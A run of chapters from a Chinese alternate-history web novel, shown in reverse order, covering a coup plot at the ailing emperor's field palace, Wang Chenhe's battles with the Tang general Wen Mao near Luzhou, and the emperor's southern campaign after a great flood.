先前为文训诊脉的御医,此刻正跪在堂中,被这三个人用目光360℃全方位无死角的盯着,吓得他趴伏在地上,战战兢兢的说话都有点抖。 “父皇……究竟如何了?” “回……回赵王殿下,陛下风寒虽祛,但却由此引发了心肺侵热,加之……加之……” 文初皱眉低喝道:“照实了说!” 御医伸出袖子擦了擦自己额头上的汗珠,颤颤巍巍的说道:“加之陛下年迈,龙体难以抵挡,又不敢下猛药……恐怕……恐怕……” 文初见状,一把抽出桌子上架着的宝剑,将寒刃拍在御医的肩膀上,吓得御医低声大叫了起来: “哎呀殿下!仔细手抖呀!微臣说、微臣如实说!陛下……陛下恐将时日无多,回天乏术啊……” 文初闻言,深深的皱起了眉头。 内官总管和周行舟的脸上,也是露出一丝错愕之色。 沉默了半晌后,文初翻动着手腕,将手中的宝剑贴在御医的脸上,顿时就吓得他脸色苍白,面无血色。 “这件事,不要告诉任何人,你就不要回去了,待在行宫里,安安静静的寻找救治父皇的方子。否则……” “微臣明白!微臣明白!!” 望着御医连滚带爬的逃出去后,文初和内官总管对视一眼,齐齐看向坐在凳子上一言不发的周行舟。 “噗通!” 突然,文初毫无征兆的跪了下来,挪动着两个膝盖,跪行到周行舟面前。 周行舟连忙起身扶他,可文初就是死活不起来,抓着他的双臂,情绪激动,脸色潮红,脖子和额头青筋暴起—— “舅舅!舅舅!帮帮初儿吧!” 周行舟的眉头皱成了“川”字型,拉着他低喝道:“殿下!你这是做什么?起来!先起来!” 文初却不管不顾,死死盯着他,近乎哀求的哭诉道:“舅舅!我想继位!我想当皇帝!!” 周行舟听到这句话后,身躯一震,哪怕他已经见惯了大风大浪,可依然还是免不了嘴唇发干。吞咽了几下后,他重新坐了下来,目光幽幽的望着正堂对面的卧室,抿嘴不语。 没有明确表示反对,那就有希望! 文初连忙抓住他的手臂,趴在他的大腿旁边揪住他的衣服,激动的拉扯道: “我知道!舅舅现在已经是左仆射,文若如果继位,舅舅依旧是位高权重。可他和杜宣更亲近,甚至亲过了您这个亲娘舅!不是吗?有他在,右仆射永远都轮不到舅舅!永远都低人一头!舅舅真的甘心吗?!” 周行舟的两个眸子在眼眶中微微转动,面沉如水。 “可我不一样!我若是继位为帝,必定重设丞相一职,让舅舅压过杜宣!到时候一人之下、万人之上啊舅舅!!表哥表弟他们,都安排到六部去!我一定孝敬您!尊敬你! 如今南征禁军中多是江淮旧部,我们只要以父皇的名义把凌晨和王臣鹤诱骗过来软禁住,就像软禁何关那样。到时候十二万大军尽在我们手中!再降旨废除文若的太子之位,挥师回京,这个天下就是我们舅甥的啊!” 周行舟沉默了许久,经过剧烈的思想挣扎之后,终于扭过头,看向一把鼻涕一把眼泪的文初,伸手抓住了他的手。 “凌晨此人,城府颇深,更兼武艺高强,留着夜长梦多,不必软禁,可就地格杀!青徐兵将,都以王臣鹤为首,此人万万不可损伤,否则还未还京,这里就先打起来了!这两件事,你若依我,我便助你!” 周行舟决定干大事,也是半推半就。他自己有这个想法是一方面,还有一方面是—— 不答应,以文初这么孝顺的情况来看,自己怕是出不了这行宫大门。 文初喜极而泣,激动的都快要说不出话来,“噫!噫”了两声后,不住的点头道:“嗯!我都听!我全听舅舅的!从今往后,我什么都听舅舅的!” 傻逼~ 隐身中的凌晨就这么看着他们当面密谋怎么加害自己,不屑的在心中骂了一句后,他扭头看向还在病榻上的老文,摇了摇头。 你可真是生了个好儿子。 这还没死呢,已经把你晾在一边,开始争夺家产了。老文啊老文~你这辈子,欠我太多了~ 快速出去让刘廷让去寻找发霉的橘子,收集起来准备提炼青霉素后,凌晨就一直隐身待在老文身边,偷偷用酒水给他擦身降温,顺带看着这几个傻鸟,别再权欲熏心、脑袋一热送老文一程。 听那御医话里的意思,有可能是感冒引发了肺炎,凌晨也不知道是不是,更不知道青霉素管不管用,提炼出来的功效怎么样。反正以前在网上看到的短视频就这么说的,眼下还能怎么办呢?死马当活马医呗~ 想翻天?呵呵~ 文若是不是扶苏我不知道,但老子可不是蒙恬。 老文要是活了,一切好说。 老文要是嘎了,文初我不动,绑给他大哥自己收拾去。 但你周大人,可就要遭老罪喽~ 巢湖大营,王臣鹤部。 内官总管受文初之命,亲自带着两名江淮军将领进入了王臣鹤的帅帐,单手举着圣旨,表情平静,看不出一丝异常。 “郡公,陛下有旨意,召您入庐州行宫商议要事,凌点检也会同往。巢湖大营,暂时先由这二位将军替您看着,以防温茂卷土重来。” 王臣鹤和营中将士跪着接完旨后,站起身来,从内官总管手中拿过圣旨,打开看了一眼后,呵呵笑道: “天使一路辛苦了,且到旁营休息,微臣这就去收拾行装。” 内官总管捏着兰花指,尖声细语的说道:“郡公,此事还是有些着急的,陛下的意思是让您面旨之后,立刻动身。” 王臣鹤抬头看了一眼这太监,随手将圣旨放在帅案上,双手背立在身后,似笑非笑的看着他说道:“这就不劳天使费心了,微臣自有主张,来呀!” 下一刻,帐中诸将纷纷抽出刀剑,将三人围了起来。他们此行带来的随从,也都被营帐外的亲兵们持枪举盾围住了。 那两名江淮军将领还想拔剑反抗,却被早有准备的青徐将领们将剑打落,众人一拥而上,踹着他们的腿弯、将他们架住胳膊跪了下来,二人的脖子上瞬间多了好几柄剑刃! 内官总管心中一震,惊惧交加的指着王臣鹤怒斥道:“王……王臣鹤!你干什么?!你……你要造反吗?!” 王臣鹤云淡风轻的笑着说道:“究竟是谁要造反,天使心里比我清楚,去旁营休息吧。天使不要做无谓之举,微臣手下都是些粗人,惹急了,可是会犯浑的。” 说罢,他大手一挥,那些将领们便狞笑着将三人绑了起来,扯着脖子揪了出去。 “王臣鹤!王臣……哎呦!你竟敢打……啊!!” 待到营帐内安静下来后,王臣鹤重新坐回案桌前,从一旁的筒子里取出令签,目光如炬的盯着在扬诸人,冷声说道: “殿帅密令,有人意图谋害陛下,颠覆社稷!邓錾,你率本部人马驻守此地,防备温茂、看押好这群反贼!” 一名膀大腰圆、满脸络腮胡的高大将领抖着一身铁甲出列,抱拳接令。 “其余人等,率领全部人马,随本帅前往庐州勤王护驾!” “是!!” —— 文初这两天除了和周行舟商议事情的时候不在父皇身边外,其他时间一直守在龙榻旁,不过并没有想办法施救,而是静静的等着。 等着周行舟安排一切事务,控制皇帝身边的臣子、侍卫、以及和汴京中的人联络,争取最大的胜算。 不知道是不是错觉,文初总感觉行宫大殿内好像有一双眼睛一直在盯着自己,尤其是在自己靠近父皇后,这种感觉尤为强烈。 可能是自己心情太紧张了吧…… 只是,事情的发展似乎超出了他的计划,还不到三天时间,派去诱骗王臣鹤的内官总管没了音信,但他也算是完成任务了。 因为王臣鹤来了,而且还带着他手底下的五万青州军,乌泱泱的列阵在了庐州城外。 看那架势,一言不合就要攻城。 第119章 龙体欠安 又是一年花明果艳,又是一年征人离别。 凌晨一身轻甲,立在家中正堂,张开双臂COS耶稣受难图。 青柠默不作声,弯下腰替他将裤腿束进靴子里,又从婢女手中接过红色的披风,细心的替凌晨扣在铜环上,扯着边角替他拉顺。 做完这一切后,她又取来一个包袱,双手抱在手里,忍不住的又落下颗颗泪滴来。 凌晨从她手中接过包袱放在一旁的桌子上,走上前去轻轻将她搂住怀中,奴婢们见状,立刻识趣的退了出去。 尽管已经有过多次离别的扬景,但青柠是个女孩,愁绪和担忧涌上心头,泪水便止不住的涌出,顺着脸蛋滑落在下巴。 “没事,这次陛下亲征,随行的都是精兵猛将,况且臣鹤兄已经在寿春压制住了唐军,形势对我们很有利,不会有危险的。你在家好好待着,等我回来。” 青柠用橙橘色的薄纱擦了擦眼角,啜泣声渐渐变小,双臂紧紧抱着凌晨的腰,将脑袋埋在丈夫的怀中,无声的诉说着依依不舍和浓浓柔情。 摸了摸她的脸蛋,替她擦拭掉泪痕后,凌晨低下头,在妻子的额心轻轻吻了一下,清幽的发香钻入了鼻孔。 “侯爷,殿前司来人请了。” 屋外传来了解二的提醒,凌晨微微叹了口气,再次亲了一口青柠的脸蛋,温柔的抚摸着她的乌瀑,轻轻说道:“好了,不哭昂~我走了,很快就会回来的,昂~” “嗯……” 二人恋恋不舍的分开,四目相对,一切尽在不言中。 最终,凌晨狠下心,松开了青柠的手,转身走出屋门。青柠跟着走了出来,立在屋檐下的朱红圆柱旁,一手扶着柱子,一手捂着胸口,秀眉轻蹙,望着他渐行渐远的背影,眼眶里又泛起一层水雾。 如果你出征,我以酒相送, 带三分醉意去驰骋纵横。 我要在东边挂一道彩虹, 妆点你那闪亮的行程。 如果你称雄,就该做先锋, 带七分豪情去立业建功。 我要在西边采一抹火红, 渲染你那凯旋的披风。 这次文训留了太子文若、吏部尚书、右仆射杜宣、兵部尚书冯延还有步军都指挥使刘青山、马军都指挥使薛定守备京城。 他带着左仆射周行舟、赵王文初、殿前都点检凌晨、殿前都指挥使何关、以及五万中央禁军,亲自南下支援王臣鹤。 大军缓缓出城,迤逦而行,苍山如海,残阳如血。 行军途中,凌晨很少出现在御前,而是混在下层士兵的军营中,改善他们的劳动强度,提前安排人填土修路,好减轻不必要的工作量。 他自己在先锋营待过,知道那里面有多辛苦,因为自己淋过雨,所以一直想为别人撑把伞。 半个月后,大军抵达寿春。 当我的实力不如对手时,我会利用一切可以利用的资源,山、河、雨、火都是资源,阴谋诡计皆可加用。 当我的实力与对手相近时,我会使用各种兵法韬略,在保存自己的前提下,消耗对方,尽量创造以多打少的局面、此消彼长来建立优势。 当我的实力远强于对手时,根本不需要任何花里胡哨,一力破万法。 如今加上王臣鹤的部队,老文手里握着超过十万大军。对付已经锐气受挫、军力疲惫的温茂,根本不需要太多操作,一上来就大开大合,四面出击,全军冲锋。 满盘都是“车”,谁还跟你玩脑筋? 就是欺负你,那又怎么样? 不服咬我啊~ 郑军的军队士气也很高,皇帝就在自己身后看着呢,无论是战将还是士卒,都铆足了劲往前冲。而且皇帝本身就是一位南征北战、剿灭群雄的常胜将军,全军上下信心满满。 这一路走来,我们跟随着“文”字军旗,打败了各地知府、太守,把应开疆打成了丧家之犬、把孙芝打成了缩头乌龟、打的草原人不敢南望、打的李遗景俯首称臣。 唐国,也不会例外。 温茂的能力不弱,但文训同样很强,更何况还有一个王臣鹤。 统帅之间如果差别不大,那就纯靠实力了。可无论是拼人、拼消耗,还是拼气势,拼底蕴,唐国都远不如中原,这是客观事实,不是人力能够改变的。 于是,唐军连战连败,虽然偶有小胜,但杯水车薪,远远不能扭转局势。 双方从盛夏打到秋凉,温茂被打的只剩四万多人,不能再继续下去了。他留下徽州军断后,大军迅速收拾行装,连夜拔营,向东退往了滁州。 大胜之后,老文却纠结了起来。 要不要趁势东进,攻打金陵? 去过江南的朋友们应该都清楚,南方真的是水道纵横、湖泊遍布。几百米一座桥,隔两个镇子就是一片湖。 即使是拥有同样的水军,攻打起来也很费劲,而且现在江夏府还在唐国手中,与金陵互相策应。中原新遭大灾,眼下能够出动的武装力量已经全部都在江淮战扬了,没有能力去开辟新的荆楚战扬。 就政治意义而言,唐国内部现在架构稳固、官民同心,要想拿下,恐怕会很费劲。而且还不是必胜之局,在别人的地盘上作战,后勤、传信、行军都会受到严重影响。 但老文有自己的考虑,他今年已经六十岁了。 还能有几年时间等待唐国内部出现松动的迹象呢? 虽然当了皇帝,却不能一统寰宇,终究是人生一大憾事。 人性就是如此,永远都不会知足。相信等到真的一统天下后,老文会有很大的概率寻求长生不老。 派文初领兵囤积巢湖以东,试探了几次后,他更纠结了。 郑军惯于陆战,但水战真的不咋地,完全就是白给。蓬莱水师又都在唐国南部沿海侧面助攻,要调回来起码也得一个多月。 心中烦闷、纠结不已的老文在一次雨天视察军营时,突然双目眩晕,昏倒在了小舅子周行舟的怀中。 可能是感冒了,反正随行的御医说,喝两副药之后休息几天就好。 这么一来,南下就更不可能了,周行舟和凌晨以及军中诸将商议了很久,决定暂缓进攻势头,等老文醒了再说。 文初听说爹地生病了,也立刻率领兵马回到了庐州行营,这个时候还打什么仗啊,当然是在病榻前表孝心了~ 深夜时分,老文终于醒了,召周行舟、文初、凌晨进殿。 老文看起来很憔悴,侧靠在金丝软枕上,一直摸自己的额头和胸口,似乎还是不舒服,嘴唇干白,说起话来有气无力。 御医跪在龙榻前,搭在他的手臂上诊脉,眉头紧皱,一直没有舒展。 看到这一幕,凌晨也跟着皱起了眉头。 “陛下应该是近来太过劳累,加之淋了雨水,邪风入体,积寒于胸。先前的汤药虽然祛除了寒气,但无法排解胸中郁结,陛下应当静养,不在思虑国事,方能缓缓痊愈。” 老文听完后,缓缓点了点头,对御医说道:“行,你下去吧。” 御医跪着再次行礼,然后便提着药箱和随行医官们都下去了。 “父皇,您龙体欠安,就不要再忧心其他,好好将养身子才是正事。” 文初跪倒在榻边,跪行上前握住老文的手,满脸的担忧和不忍。 老文欣慰的看了他一眼后,转而看向周行舟和凌晨:“传令下去,将各部军将兵马都撤回来,调王爱卿驻防巢湖,待朕病情好转,我们就回汴京吧……” 凌晨和周行舟对视一眼,齐齐拱手称是。 这次南征,历时三个月,从六月打到九月,就这么草草收扬。 虽说成功击败了温茂,但老文到底还是有些不甘。不过这也是没有办法的事,时机尚未成熟,军国大事不能任性,硬搞胡来是会出事的,反胜为败都有可能。 那样的结果,大郑承受不起。 于是,凌晨回到自己的营帐,开始收拾行装,准备回家了。 但接下来发生的事情,却超出了他的预料。 一连三天,老文都没有召集臣属将领议过事,虽然心中疑惑,但凌晨还以为是老文累了,想要静静休养,所以也没当回事。 直到第四天,依旧没有内官前来传命,凌晨心头瞬间升起一股不妙的感觉。 不对,十分有九分的不对。 不过为了不引起老文的猜忌,他还是先去拜访了周行舟的居所,结果却被告知左仆射最近一直待在行宫中侍奉陛下,并没有回家。 嗯? 凌晨立刻动身前往行宫,来到宫门口后,叫负责守卫的御林军进去传报,就说自己想来看望一下陛下。 可令他万万没有想到的是,守卫在门前的八个御林军,竟然歉声歉意的告诉他,陛下现在正在静养,不见任何朝臣。 而且他们的眼神,十分警惕,似乎随时准备着防止凌晨强闯宫门。 凌晨望着秋雨阴云下的行宫屋瓦,眯起了眼睛。 他不动声色的继续向这几个御林军询问何关去哪了,他们异口同声的告诉凌晨,何指挥使在行宫内守卫着陛下。 放你娘的屁! 第118章 棋逢对手 徽州军,是李唐朝廷花费重金,在“一生痴绝处、无梦到徽州”的黄山脚下,招募当地良家子弟,经过多年训练和战场打磨,才铸造出来的国之利刃。 其成员个人武艺之高、令行禁止之严、护国志向之坚、武器装备之精,不逊于当今天下任何一支军队。是一支信仰坚定、战力强大、高度默契、摧城拔寨的杀戮机器。 开战只一个冲锋,王臣鹤派出去的青州军就落入了下风。这群人虽然是南人,但骑兵作战非常娴熟,用的还都是劲弩,枪枪爆头,好运连连。 远程消耗完毕,每个人又挥起厚重大刀,冲到举着盾牌的郑军阵前,高高扬起、重重劈下!郑军顿时阵型大乱,盾碎人飞。 江东子弟,作的出锦绣文章,也打的出赤壁沉沙! 自从前锋接战之后,王臣鹤紧皱的眉头就没有舒展过。等到前面快支撑不住了,他立刻派手下骑兵部队从两翼包抄过去,想将徽州军围起来绞杀在战场中。 温茂对于这种稚嫩的伎俩不屑一顾,指挥唐军也分出刀盾兵、长枪兵快速加入战场。唐军战将武艺高强、兵卒悍不畏死,鼓号一响,全军冲锋! 温茂甚至亲自率领中军加入战场,使得唐军士气更盛,这老头是真不怕死。 双方厮杀了将近两个时辰,王臣鹤眼见不是对手,立刻鸣金收兵,全军撤退。唐军趁势追杀,大胜而归,缴获颇丰。 现任庐州太守、寿春知府刘立权趴在城头上全程目睹了这场惨烈厮杀,当他看到王臣鹤带来的朝廷大军不敌温茂,被打的丢盔弃甲、逃之夭夭后,瞬间感觉天都塌了! 温茂回到营寨中后,唐军众将都来上报战果,每个人脸上都是喜气洋洋的表情。 只有温茂表情里看不出一丝喜悦,在老仆的帮助下卸下盔甲后,身着便服坐在了大帐上首案桌。 姑苏太守沈简抱着拳说道:“大将军,我军此战斩首两千、缴获兵器、车马、衣甲众多。而且经此一役,郑军军心必然受挫,庐州城中同样人心涣散,北上徐州、克复中原指日可待!” 马军都尉、实际指挥徽州军作战的将领徐京也微笑着说道:“正是如此,先前听说这王臣鹤独自到琅琊,两年时间平定两府,末将还以为是个人物。今日一见,言过其实,徒有虚名而已。” 其余众将也是纷纷点头附和,对徐京的话深表赞同。 温茂从老仆手中接过热茶,饮过之后,将茶杯放在案桌上,依旧不动声色,陷入了深深的思考之中。 不对, 赢得太轻松了。 他不是很了解王臣鹤,但他了解文训。 那是一个没有九成九的把握,就绝对不会轻易出手的谨慎人物,极其难缠,从来都是稳扎稳打,不会轻易犯险。 打仗如此,用人亦是如此。 王臣鹤能被文训调遣过来对付自己,难道文训不清楚自己和徽州军的能力吗?怎么会派一个徒有虚名的人来白白送死?怎么会拿淮扬四府三十六县开玩笑? 况且今天阵前相对,王臣鹤气度不凡、心性沉稳、言语间滴水不漏、绵里藏针,这样的人,怎么看都不像是废物。 众将笑着笑着就不笑了,齐齐看向温茂,面面相觑。 “此人……不好说,今夜……也说不好,传令各营:今夜不准卸甲,前营虚设,中军、后营立刻吃饭睡觉,子时起伏,埋于营中。汇英……” 徐京立刻拱手道:“末将在!” “今夜你与老夫率骑兵离营,在东河郊野驻扎。若遇郑军袭营,其余众将当死守营寨,杀退敌兵;老夫亲率骑兵,趁虚去扎他的大营!” 帐中众将闻言纷纷起身,排成两排齐齐抱拳:“遵命!” 是夜,月隐不现,繁星满天。 草地里飞舞着点点绿光,萤火虫在夜风拂动的野草中翩翩起舞;河边一片蛙声,清风徐来,水波不兴;江南夜色,小桥人家。 子夜后半,远处的唐军大营果然火光亮起,喊杀声隐隐传来,惊飞枝头乌鹊。 立在马上的徐京冷笑道:“果然不出大将军所料,他还真来劫营了。” 他身旁的温茂微微松了一口气,目光冷冽、中气十足喊道:“贼兵劫寨,必然倾营而来,众将听令!随本帅奔袭敌营,让他们有处来、无处回!” “是!!” 一声令下,唐军人衔枚、马勒嘴,五千徽州军精锐趁着夜色,直直朝着王臣鹤的大营赶去。 只要此行烧了他们的营帐、粮草、物资,别说还有能力打仗了,下场稍微大点的雨对他们来说都是一劫。 唐军营寨修的很扎实、各种拒马、堑壕、地坑都有设防,更何况军队已经提前有了准备。占据有利地形正面交战,根本不用担心。 温茂和徐京率领徽州军奔袭了半个多小时,终于来到了王臣鹤的大营所在。 二人立在山头上向下望去,满营篝火,人影稀疏。除了正常巡逻、守卫的士兵外,别无一物。有些营帐里还有许多黑色的人影,但是观察了好久,那些人影都不带动一下的,一看就是用草捆出的假人。 温茂点着头,露出了赞许的神色:“这个王臣鹤,还是有几分真本事的,还知道布置疑兵扰乱视听,防备我军劫营。” “可他还是瞒不过大将军的火眼金睛。” 温茂抬头看了一眼漫天星斗,叹了口气,又要添几分杀孽了…… 下一刻,他低头看向郑军营寨,一字一句的吐道:“立刻冲杀敌营、纵火焚烧,如遇抵抗,格杀勿论!本帅要这里变为一片白地!” 徐京右手提着长斧,左手扯住缰绳,望着温茂喊了一声“遵命”后,转头一马当先从坡上冲了下去。紧接着,无数骑兵紧随在他身后,马蹄隆隆,在黑夜中卷起一阵扬尘! 温茂在五百亲兵的护卫下留在原地,静静观战。 “杀!!!” 奔到营寨近处,徽州军纷纷吐掉了口中草杆,怒吼出声以壮气势,一往无前的冲向郑军营门。 守寨的郑军士兵见状纷纷露出吃惊和恐惧的神色,一把扬了手中的武器,撒腿就跑,四散逃命! 徐京勒马夹肚,马儿嘶鸣着高高跳起,越过木头尖刺做的拒马。他一斧头破开想要关闭的营门,沿着前营一路冲到中军大帐前,停住不动了。 一股不妙的感觉从徐京心头升起,他这才赫然发现,除了在营门口遇见过郑军外,其他一个人都没有碰到,甚至连声音都没有。 就算出兵夜袭,营中至少还有少量留守吧? 就在他刚想要喊出“快撤”时,四周猛然响起了比他们先前声音还要响亮的喊杀!青州军骑兵诸将率领兵马从营帐后、两侧寨外冲了出来! 空中箭如雨下,其中还夹杂着不少火箭,射中帐篷后,立刻就引燃了里面的成堆草料!一时间烟熏火燎,黑烟弥漫呛鼻,熏的徐京和手下将士泪流不止,难以挣眼。 还没来得及惊慌,徐京心中又是猛的一突! 这里中了贼人的计策,那大将军那里呢?他身边,可只有五百人啊!! 他老人家要是被俘或者被杀了,那就不是一场战役胜败的问题了,整个大唐朝堂都会为之震动! 一念及此,徐京也顾不得什么列阵防御、寻机脱身了。直接领头亲自劈砍,带着徽州军不要命的冲击郑军的包围圈薄弱处,用人命硬闯! 山上的温茂早就将一切都看在了眼中,当他看到营寨两边突然亮起火光,两条火龙从两旁围向营门时,就知道中计了。 “都随本帅冲杀下去,破开缺口救……” “杀!!!” 他的话还未说完,四周林中就突然响起了喊叫怒吼!在一片通红色的火光中,王臣鹤一马当先,率兵冲到了温茂近前。 “老将军!臣鹤在此恭候多时了!” 好在徽州军的亲兵们训练有素,没有任何废话,几十人护着温茂立刻向东坡密林逃窜而去,其余人挥舞武器迎头赶上前去,拼死拦截住王臣鹤率领的青州精锐。 一夜之间,到处血战,遍地浓烟! 王臣鹤知道徽州军能打,但他真没想到这帮人这么能打!区区五千人,竟然硬是从两万人的包围圈中撕开一条血路,护送着温茂逃出了生天。 不过不要紧,对方也死伤了超过半数人马,损失不可谓不重。这一局,到底还是他棋高一筹。 经过这两场较量后,温茂和王臣鹤都发现自己远远低估了对方。于是,他们都开始认真起来。 双方围绕着庐州城展开了数十次激烈交锋,互有胜负,难分伯仲,谁也没有办法彻底击垮对方。 但时间对王臣鹤有利,拖得越久越好。等到桃汛结束,中原的灾后重建安排妥当后,陛下一定会派援兵支援。 所以,在发现自己实在灭不了温茂后,他的心态就不一样了,悠哉悠哉的和温茂见招拆招,并不急于击败对方,更不寻求决战,就这么跟他耗着。 反正不管是局势还是年龄,他都耗的过温茂。而且能和大唐第一名将相持不下,他也从侧面向全天下证明了自己的能力。 那还急个啥?先想想今晚吃啥~ 经过两个月的旰衣宵食、脚不沾地后,中原水灾终于稳定了下来,接下来就是有条不紊的重建工作了,规程方案已经拟定了下去,只要监督好执行就行。 六月初,文训腾出手来,决定好好和李雄这小子唠唠,让他明白谁才是老大。 这次,他派出了一位对唐军了如指掌、交手多年、巅峰榜全国第一、并且在唐军里有很多老熟人的将领—— 御驾亲征。 第117章 损失惨重 一次地震,一场天灾,会死多少人? 答案是二十三万。 在这场人与自然的抗争中,大郑付出了二十三万条生命的代价。这还只是统计出来的,还有没被统计出来的、下落不明不能确报的,以及上百万人口的家园毁坏、财产清零、流离失所。 出现一个问题,就会衍生出更多的问题。 春耕的重要时节被耽误了。洛阳府、开封府、东昌府和睢阳府都是平原,也是重要的粮食产区。 这一场洪水下来,今年基本废了。 对于新生的大郑来说,刚开年就收到如此惊喜的大礼包,不亚于穿越投胎、哇哇哭着落地,结果却发现自己躺在厕所坑里,一个精神小妹冷漠的看了自己一眼,扶着门跑了。 而自己的父亲,也不知道是哪个黄毛。 天崩开局。 君王的威严、朝廷的正统性都受到了严峻挑战。民间许多阴谋势力抬头,蛊惑百姓视听;盗贼四起、打家劫舍趁乱抢夺粮食财物;唐国大举入侵,蜀国、李遗景、孙芝、草原诸部甚至是苟延残喘在辽东的应开疆,都在磨刀霍霍,相机而动。 凌晨不知道老文现在心情如何,反正要是自己坐在那个位置上,早就心态崩了。老子要去西域,这烂摊子爱谁谁。 皇帝不好当,打个农药都有人绝望到失去信心,不断发起投降。眼下这种局面,每天八百个奏折等着你批复,每一个都是人命关天的头等大事。一旦处理不好,立刻就是烽烟百里的要命局面。 十万火急的报告,每天源源不断的从全国各地送入京城。不止是皇帝,中书门下的老头子们、六部尚书以及二把手、三把手全都住在官衙,别说回家了,就连吃饭上厕所都得跑步前进。 稍微迟慢一点,后果只会更加的棘手和头疼。 那能不能偷懒呢? 答案是能,皇帝会让你和你的全家好好休息,再也不用忍受这种人间苦累。 如果皇帝不出手,各地正在挨饿受冻、无家可归的百姓们也会让你死无葬身之地。这一点不用怀疑,包的。 更加雪上加霜的是,大灾之后必有大疫,尽管户部已经提前购买了大量药材,调遣了近万名医师、郎中、甚至还有赤脚大仙和兽医,但依然人手不够。 死亡人数还在不断攀升。 老文最近心情很差,听说在皇宫里因为小事打杀了几个太监宫女,还骂了两个昭仪,幽禁了一个宝林,可见心情有多糟糕。 但是在前朝,他还是要克制好自己的情绪,安抚好臣子们。勉励他们一定要鼓舞精神,绝对不能失去信心,轻言放弃,人浮于事。 朝臣们也知道眼下是个什么情况,个个都是尽心竭力,努力做好自己的本职工作。没有人敢在这个时候去挑战老文的耐心,就连一向怼天怼地怼空气的林济远,也罕见的沉默起来。 民间的事纷乱杂扰,庙堂的事更是形势严峻。 中原地区的乡军兵马现在都下放到各府、州、郡、县,既是帮忙救灾救民,也是监督和防范歹人作祟,以免出现更大的乱子。 眼下河北、关中的势力在朝堂之中占据了主动权,中原势力的臣子们都选择了默不作声,原本是顶流的江淮士族,现在也成了弟中弟。单凭他们自己,是抗衡不了唐国大军的。 如果大郑失去江淮,他们也将失去上桌的资格。 朝堂里的萝卜坑就这么些,已经出现了多次人员变更。老文要从大局考虑,对这种事情没有办法,只能隐忍默许。 这就引发了另一个问题,中原和江淮的代表人太子势力渐弱,河北支持的赵王一时风头无两。 好在关中的领头羊秦王站队太子,不然会发生什么,真的很难想象。 皇帝都能换,就更别说太子了,易储并不是没有可能。 比老文压力更大的是王臣鹤。 青徐地区的十万人马都在他的手中,看似威风凛凛、权势滔天,实则压力山大、夙夜难寐。 他必须要击败温茂,这件事没有任何回转的余地。 胜,四周宵小就不敢轻举妄动,大郑就有时间来解决水患及其衍生问题,为百姓们重建家园、调拨粮草、物资来抹平这道伤疤,解决眼下的麻烦。 败,唐国北上中原,孟玄、李遗景也会兵入关中,孙芝会三出壶关,应开疆和草原人也会卷土重来,大郑内部更是会分崩离析。 天下,系于一身。 不知道王臣鹤会不会怀念当初在临颍街头风雪中卖画的日子,穷是穷了点,但至少肩上没有千钧重担。 但是,危机危机,有危险,也有机会。 如果能将温茂这样的当世名将给摁回去,王臣鹤将会成为整个大郑的国之柱石,功名利禄不过是囊中之物,彪炳史书也将顺理成章。 四月底,琅琊郡公王臣鹤率领八万大军抵达寿春,与围困庐州的唐将温茂短兵相接,正式开战! 另外,还有八千蓬莱水师沿着海岸南下,对唐国境内的会稽府、临安府、清泉节度使发动袭击。双方多次在沿海地区爆发激烈战斗,甚至还发生了惨烈的接弦战、撞船战。 籍贯徽州的温茂今年五十四岁,成名已久。早在文训还是江淮节度使的时候,他们就已经是老对手了。 凌晨第一次从军的时候,就是他趁着文训立营未稳率兵突袭,致使周军被打的七零八落。也正是因为那次战斗,凌晨才在意外之中救下了文训。 老谋深算,久经沙场,无论是理论知识还是实践经验都能称得上是当世一流。对于江淮地区的地形、民风、经济、兵力情况了如指掌,老头半辈子都在研究这些东西。 而且他手下的徽州军,真的很能打! 但现在,他面对的不是江淮军的那些老熟人,而是从未有过接触的王臣鹤,还有他手下实力不详的青州军。 温茂没有小瞧对方,而是拿他当文训同一级别的对手来面对。 王臣鹤这辈子,只是时运不济,能力还真不见得弱。他读过很多书,当然也包括兵书,还在卢龙军中待过一段时间,虽然没有领兵作战,但也见过猪跑,对骑兵作战和城池攻坚有过深入了解。 在平定、统一青州和琅琊的过程中,他已经亲自实操、指挥过山地战、平原战、水战,同样也锻炼出了统兵将领该有的现场指挥经验、调度管理才能、心理抗压能力和态势变化反应。 全天下的目光都聚集在他们二人身上。 这一战,究竟是纸上谈兵的再现,还是元嘉草草的重演? 庐州城下,鲜血尚未干涸,烟熏火燎的痕迹遍布在高大的城墙和青青的草地。黑色的焦木断在地上,依稀能辨别出是云梯的一部分。 从庐州城头向下望去,两片乌云汇聚在城下,中间空着一片,正好是一箭之隔。 两军阵前,王臣鹤头戴银色盘龙兜鍪、肩披虎头锁甲,胸前黄铜护心镜,腰间牛皮带,一道深绿披风扣着两处锁环,自胸膛两边飞向身后,迎着风烈烈作响。 他的座下,是一匹通体乌黑的骏马,马面覆着薄薄的铁甲片,只露出眼睛和鼻孔。偶尔晃一晃脑袋,打个喷鼻,铁蹄踏的地面“哒哒”作响。 在距离王臣鹤不到五米的对面,温茂骑在一匹枣红大马上,平静的打量着眼前的年轻人。 棕铜色的头盔上,飞起两道麒麟兽须,盔边是暗红色的纹路装饰,从前胸到后背的灰白色铁甲自成一体,披着和王臣鹤一样的披风,只是颜色是土黄色的。 眉毛白黑混杂,脸上褶皱十分多,苍老的面容、修剪齐整的胡须,个头不高。 但他平静淡然的表情、古井无波的目光、轻拍马脖的悠闲,无一不在透露着危险和压抑的气息。 “臣鹤见过老将军。” 虽然大家都想弄死对方,但礼数还是要到位的。王臣鹤立在马上,右手攥着马鞭,双手抱拳向温茂郑重行礼。 温茂看了一眼后,点着头说道:“你倒是个有家世的,难怪文教言会派你来,看来真有些手段。” “老将军过奖。唐主坐拥江南鱼米之乡,富贵加身,却不尊上庭,连年兴兵犯我疆境,始终徒劳无功,空费民力,大江两岸百姓苦不堪言。 如今更是趁着中原大灾,命老将军携不义之师,行背信之举。年始来恭贺我主登基,共约言好,不出一旬又背盟毁约,实非君子所为。” 温茂轻哼一声,分不出是冷笑还是生气,徐徐答道: “文教言小人行径,人神共愤。趁乱窃国,惹的大水冲荡,天命不授奸逆。我主乃是大唐正统,自当扫除魑魅,荡平天下,还于旧都,有何不妥?” 王臣鹤皱着眉头再次抱拳问道:“老将军是非战不可了?” “哼,你看着也该三十好几的人了,怎么问出这种话来?你我近二十万人马挤在这江北之地,难道是来喝酒叙旧的?” 顿了顿后,温茂抬起眸子看向王臣鹤,眼中迸发出一道精光: “小子,你还太嫩,不是老夫的对手。识相的话就回你的关东去,待老夫灭了文教言,饮马黄河,再收拾你。若要率众归附,老夫亦是欢迎,必向陛下保举,也不失封侯拜相,万古流芳。” 